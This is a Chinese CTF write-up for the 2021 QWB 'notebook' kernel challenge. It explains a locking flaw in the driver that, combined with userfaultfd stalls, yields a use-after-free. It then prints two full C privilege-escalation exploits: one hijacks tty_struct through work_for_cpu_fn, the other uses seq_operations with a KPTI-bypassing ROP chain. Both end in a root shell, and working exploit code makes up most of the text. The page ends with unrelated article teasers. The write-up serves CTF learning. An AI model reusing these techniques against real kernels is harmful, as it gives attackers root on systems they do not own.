【userfaultfd】2021强网杯notebook

程序分析

老规矩,看下启动脚本

开启了 smep、smap、kaslr 保护,当然 kvm64 默认开启 kpti 保护

文件系统初始化脚本

#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/ptsmount -t proc proc /proc
mount -t sysfs sysfs /sysecho 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrictifup eth0 > /dev/null 2>/dev/nullinsmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"#sh
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 shumount /proc
umount /syspoweroff -d 1 -n -f

一眼看到驱动模块 netobook.ko

mynote_ioctl 函数 

该函数实现了堆块的增删改的功能(果然什么都逃不过屌丝菜单题的命运bushi) 简单说一下漏洞点

在 noteedit 函数中,会使用 krealloc 函数重新申请一个堆块,所以如果我们传入的新的 size 为0 或者比原来的大,则会将原来的堆块释放掉。

但是 noteedit 函数中存在一个问题,那就是其并没有直接将 krealloc 返回的堆块指针赋值给 notebook[idx]->ptr ,而是先把它赋值给了 v7,然后再用 copy_from_user 复制数据,最后再经过一些检查再将 v7 的值赋值到 notebook 中。当然这里最大的问题是上的是读锁,这就意味着其他拿读锁的函数可以跟这个函数并行,这也为我们后面的利用提供了可能。

mynote_read / mynote_write 函数

 我们有读写堆块的能力,但是有大小限制。

漏洞利用

在 mynote_ioctl 函数中,当我们传入 newsize=0时(你也可以传入更大的值) 我们知道了一个逻辑:

1、先修改 size = newsize

2、释放原来的堆块(申请新的堆块,这里我们传入newsize=0,所以不会申请新的堆块)

3、调用 copy_from_user 复制数据

4、将新的指针赋值给 notebook[idx]->ptr

那这里很明显我们可以在第 3 步使用 userfaultfd 将其卡住,此时 notebook[idx]->ptr 还没有改变,但是其已经被释放了,所以这里就存在一个 UAF。

这里我们选择 tty_struct 去打,程序给了读写的能力,但是有 size 的检查,并且在第一步 size 已经被修改为了 newsize=0,所以这里检查过不了(有人说将newsize传一个大的值,但是这里检查的是 notebook[idx]->ptr 这个堆块的实际大小和 size 的大小关系,所以你还是通过不了检查)

那怎么办呢?

但是注意到 noteadd 函数:

其拿的是读锁,所以当 noteedit 用 userfaultfd 卡住时,其也能执行,但是这个很好的是,这个函数是先修改的 notebook[idx]->size、然后在用 copy_from_user 复制数据,然后再给 notebook[idx]->ptr 申请一个新的堆块,简而言之就是:

1、修改 notebook[idx]->size 为我们输入的 size

2、使用 copy_from_user 复制数据

3、kmalloc(size) 给 notebook[idx]->ptr 

那么我们就可以利用这个函数去修复在 noteedit 中被破坏的 size,即用 userfaultfd 卡在第 2 步。

当然这里由于开启了 smap 保护,使用 tty_struct 的 ops 表也不能直接在用户空间伪造,但是题目直接给了一个 notegift 函数可以读出堆块的地址,所以直接把 ops 表伪造在一个堆块上就 ok 了。

当然如果题目没有给这个函数的话,可以考虑用 seq_operations 去打。 

最后劫持 tty_struct 后直接用 work_for_cpu_fn,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define INIT_CRED 0xffffffff8225c940
#define COMMIT_CREDS 0xffffffff810a9b40
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x100, &n);
}void dele(size_t idx)
{struct note n = { .idx = idx };ioctl(fd, 0x200, &n);
}void edit(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x300, &n);
}void gift(char* buf)
{struct note n = { .buf = buf };ioctl(fd, 0x64, &n);
}void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{int uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");uffdio_register.range.start = (unsigned long long)uffd_buf;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");int res = pthread_create(&pthread_moniter, NULL, handler, uffd);if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}char buf[0x30];
void handler(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;int res = poll(&pollfd, 1, -1);if (res == -1) err_exit("ERROR on poll");int n = read(uffd, &msg, sizeof(msg));if (n == 0) err_exit("EOF on read uffd");if (n == -1) err_exit("ERROR on read uffd");sleep(100);puts("userfault over");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");uffdio_copy.src = buf;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x20;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");}
}sem_t sem_edit, sem_add;void evil_edit(void* args)
{sem_wait(&sem_edit);info("evil_edit for construct UAF");edit(0, 0, args);
}void evil_add(void* args)
{sem_wait(&sem_add);info("evil_add for fix the size");add(0, 0x60, args);
}int main(int argc, char** argv, char** env)
{bind_core(0);size_t buf[0x300];size_t tty_struct[0x300];size_t fake_ops[0x100];size_t fake_ops_addr;char* uffd_buf;int tty_fd;size_t kernel_offset;pthread_t moniter, pt_edit, pt_add;sem_init(&sem_edit, 0, 0);sem_init(&sem_add, 0, 0);fd = open("/dev/notebook", O_RDWR);add(0, 0x20, buf);edit(0, 0x2e0, buf);uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(uffd_buf, moniter, handler);pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);pthread_create(&pt_add, NULL, evil_add, uffd_buf);sem_post(&sem_edit);sleep(2);sem_post(&sem_add);sleep(2);tty_fd = open("/dev/ptmx", O_RDWR);read(fd, tty_struct, 0);//read(fd, buf, 0);binary_dump("tty_struct", tty_struct, 0x60);if (*(int*)tty_struct != 0x5401) err_exit("No alloc tty_struct by UAF");kernel_offset = 0;if ((tty_struct[3]&0xfff) == (PTM_UNIX98_OPS&0xfff)) puts("PTM_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTM_UNIX98_OPS;else puts("PTY_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTY_UNIX98_OPS;hexx("kernel_offset", kernel_offset);add(1, 0x20, buf);edit(1, 0x100, buf);gift(buf);fake_ops_addr = buf[2];binary_dump("object addr", buf, 0x20);hexx("fake_ops_addr", fake_ops_addr);memcpy(buf, tty_struct, 0x60);buf[3] = fake_ops_addr;buf[4] = COMMIT_CREDS + kernel_offset;buf[5] = INIT_CRED + kernel_offset;fake_ops[12] = WORK_FOR_CPU_FN + kernel_offset;binary_dump("fake_tty_struct", buf, 0x60);write(fd, buf, 0);binary_dump("fake_ops", fake_ops, 0x70);write(fd, fake_ops, 1);ioctl(tty_fd, 233, 233);write(fd, tty_struct, 0);pthread_cancel(pt_edit);pthread_cancel(pt_add);hexx("UID", getuid());system("/bin/sh");return 0;
}

 但是这里提权好像不是很稳定,最后 userfaultfd 卡的时间到了后,会有个 bug

希望有佬可以解释一些最后面出现的问题 

当然就算题目没有给 notegitf 这个泄漏 object 地址的功能,我们也可以通过 seq_operations 直接打,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>#define SINGLE_START 0xffffffff8128c230
size_t pop_rdi = 0xffffffff81007115; // pop rdi ; ret
size_t add_rsp_xx = 0xFFFFFFFF8127CDB2l;
size_t swapgs_kpti = 0xFFFFFFFF81A00931;
size_t init_cred = 0xffffffff8225c940;
size_t commit_creds = 0xffffffff810a9b40;
size_t prepare_kernel_cred = 0xffffffff810a9ef0;void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x100, &n);
}void dele(size_t idx)
{struct note n = { .idx = idx };ioctl(fd, 0x200, &n);
}void edit(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x300, &n);
}void gift(char* buf)
{struct note n = { .buf = buf };ioctl(fd, 0x64, &n);
}void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{int uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");uffdio_register.range.start = (unsigned long long)uffd_buf;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");int res = pthread_create(&pthread_moniter, NULL, handler, uffd);if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}char buf[0x30];
void handler(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;int res = poll(&pollfd, 1, -1);if (res == -1) err_exit("ERROR on poll");int n = read(uffd, &msg, sizeof(msg));if (n == 0) err_exit("EOF on read uffd");if (n == -1) err_exit("ERROR on read uffd");sleep(10000);puts("userfault over");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");uffdio_copy.src = buf;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x20;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");}
}sem_t sem_edit, sem_add;void evil_edit(void* args)
{sem_wait(&sem_edit);info("evil_edit for construct UAF");edit(0, 0, args);
}void evil_add(void* args)
{sem_wait(&sem_add);info("evil_add for fix the size");add(0, 0x20, args);
}int seq_fd;
int main(int argc, char** argv, char** env)
{bind_core(0);size_t buf[0x300];char* uffd_buf;size_t kernel_offset;pthread_t moniter, pt_edit, pt_add;sem_init(&sem_edit, 0, 0);sem_init(&sem_add, 0, 0);fd = open("/dev/notebook", O_RDWR);add(0, 0x20, buf);uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(uffd_buf, moniter, handler);pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);pthread_create(&pt_add, NULL, evil_add, uffd_buf);sem_post(&sem_edit);sleep(2);sem_post(&sem_add);sleep(2);seq_fd = open("/proc/self/stat", O_RDONLY);if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");read(fd, buf, 0);binary_dump("seq_operations", buf, 0x20);kernel_offset = buf[0] - SINGLE_START;hexx("kernel_offset", kernel_offset);buf[0] = add_rsp_xx + kernel_offset;hexx("seq_operations->start", buf[0]);write(fd, buf, 0);pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;asm volatile("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;""mov rbp, 0x55555555;""mov rbx, 0x66666666;""mov r11, 0x77777777;""mov r10, 0x88888888;""mov r9,  0x99999999;""mov r8,  0xaaaaaaaa;""xor rax, rax;""mov rcx, 0xbbbbbbbb;""mov rdx, 8;""mov rsi, buf;""mov rdi, seq_fd;""syscall;");hexx("UID", getuid());system("/bin/sh");return 0;
}

 上面两个脚本都可以成功提权:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/124022.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装Vue脚手架图文详解教程

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 预备工作 在安装Vue脚手架之前&#xff0c;请确保您已经正确安装了npm&#xff1b;假若还尚未安装npm&#xff0c;请你参考 Node.js安装教程图文详解。 安装Vue脚手架 请…

GROMACS Tutorial 5: Protein-Ligand Complex 中文实战教程

GROMACS Tutorial 5: Protein-Ligand Complex 中文实战教程 前言系统环境特别强调一、预处理阶段1.1 蛋白质配体分离以及除水操作1.2 选择力场识别JZ4配体1.2.1 使用在线力场解析1.2.2 使用官方推荐力场CHARMM36解析 1.3 蛋白的top文件准备1.4 配体的top文件准备1.5 使用CgenFF…

【Hello Linux】多路转接之 epoll

本篇博客介绍&#xff1a; 多路转接之epoll 多路转接之epoll 初识epollepoll相关系统调用epoll的工作原理epoll服务器编写成员变量构造函数 循环函数HandlerEvent函数epoll的优缺点 我们学习epoll分为四部分 快速理解部分概念 快速的看一下部分接口讲解epoll的工作原理手写epo…

信息安全:网络安全漏洞防护技术原理与应用.

信息安全&#xff1a;网络安全漏洞防护技术原理与应用. 网络安全漏洞又称为脆弱性&#xff0c;简称漏洞。漏洞一般是致使网络信息系统安全策略相冲突的缺陷&#xff0c;这种缺陷通常称为安全隐患。 安全漏洞的影响主要有机密性受损、完整性破坏、可用性降低、抗抵赖性缺失、可…

MQTT 服务器搭建(基于mosquitto)

1、前言 MQTT&#xff08;Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输协议&#xff09;&#xff0c;是一种基于发布/订阅&#xff08;publish/subscribe&#xff09;模式的"轻量级"通讯协议&#xff0c;该协议构建于TCP/IP协议上&#xff0c;…

基于.Net Core实现自定义皮肤WidForm窗口

前言 今天一起来实现基于.Net Core、Windows Form实现自定义窗口皮肤&#xff0c;并实现窗口移动功能。 素材 准备素材&#xff1a;边框、标题栏、关闭按钮图标。 窗体设计 1、创建Window窗体项目 2、窗体设计 拖拉4个Panel控件&#xff0c;分别用于&#xff1a;标题栏、关…

【计算机组成原理】考研真题攻克与重点知识点剖析 - 第 1 篇:计算机系统概述

前言 本文基础知识部分来自于b站&#xff1a;分享笔记的好人儿的思维导图&#xff0c;感谢大佬的开源精神&#xff0c;习题来自老师划的重点以及考研真题。此前我尝试了完全使用Python或是结合大语言模型对考研真题进行数据清洗与可视化分析&#xff0c;本人技术有限&#xff…

请求转发与请求作用域

创建input.jsp页面&#xff0c;通过表单输入学号、姓名后&#xff0c;单击登录按钮&#xff0c;控制转发到FirstServlet对其进行处理&#xff0c;然后通过请求对象的getRequestDispartcher()获得RequestDispartcher对象&#xff0c;将请求转发至SecondServlet&#xff0c;在Sec…

简单的考试系统

开发一个简单的考试系统&#xff0c;在HTML页面中建立一个表单&#xff0c;通过post方法传递参数。题目类型包括单选题、多选题和填空题&#xff0c;要求程序给出考试成绩。 <!DOCTYPE html> <html> <head><title>question.html</title><met…

第1篇 目标检测概述 —(3)YOLO系列算法

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。YOLO&#xff08;You Only Look Once&#xff09;系列算法是一种目标检测算法&#xff0c;主要用于实时物体检测。相较于传统的目标检测算法&#xff0c;YOLO具有更快的检测速度和更高的准确率。YOLO系列算法的核心思想是将…

基于SSM的视频点播系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用Vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

阿里云PolarDB自研数据库详细介绍_兼容MySQL、PostgreSQL和Oracle语法

阿里云PolarDB数据库是阿里巴巴自研的关系型分布式云原生数据库&#xff0c;PolarDB兼容三种数据库引擎&#xff1a;MySQL、PostgreSQL、Oracle&#xff08;语法兼容&#xff09;&#xff0c;目前提供云原生数据库PolarDB MySQL版、云原生数据库PolarDB PostgreSQL版和云原生数…